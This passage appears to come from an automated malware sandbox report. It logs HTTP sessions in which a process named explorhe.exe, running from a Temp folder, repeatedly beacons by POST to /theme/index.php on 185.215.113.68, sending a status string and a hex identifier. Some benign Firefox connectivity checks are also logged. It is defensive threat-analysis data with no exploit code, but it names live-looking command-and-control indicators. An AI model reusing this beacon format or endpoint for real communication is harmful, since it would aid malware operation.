r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:58.547808886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50301	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:58.909519911 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:59.146718979 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:59.157577038 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:59.400157928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50304	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:59.745624065 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:59.977935076 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:59.981277943 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:00.236542940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50307	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:00.600043058 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:00.831921101 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:00.839298964 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:01.073245049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50308	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:01.434890032 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:01.668999910 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:01.672347069 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:01.909996986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50309	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:02.282469034 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:02.513936043 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:02.531379938 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:02.771140099 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50310	34.107.221.82	80	9272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:02.768534899 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:36:02.898427963 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 17:21:33 GMT Age: 22469 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:36:12.954251051 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:23.258048058 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:33.555845976 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:43.754859924 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:53.954229116 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:04.159321070 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:11.861473083 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:37:11.992242098 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 17:21:33 GMT Age: 22538 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:37:22.154751062 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:32.347979069 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:42.546917915 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:52.850394964 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50312	34.107.221.82	80	9272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:03.039480925 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:36:03.168970108 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:48:38 GMT Age: 28045 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:36:13.194263935 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:23.396503925 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:33.602067947 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:43.801656008 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:36:54.104207993 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:04.300244093 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:11.996902943 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jan 18, 2024 00:37:12.127264977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 17 Jan 2024 15:48:38 GMT Age: 28114 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jan 18, 2024 00:37:22.203244925 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:32.408325911 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:42.607314110 CET	6	OUT	Data Raw: 00 Data Ascii:
Jan 18, 2024 00:37:52.803941011 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50311	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:03.121722937 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:03.354366064 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:03.392858982 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:03.631923914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50313	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:04.156265974 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:04.394995928 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:04.403871059 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:04.648721933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50314	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:05.009812117 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:05.243226051 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:05.258687019 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:05.498797894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50315	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:05.848499060 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:06.078236103 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:06.093203068 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:06.327378035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50316	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:06.686804056 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:06.925393105 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:06.933342934 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:07.176613092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50317	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

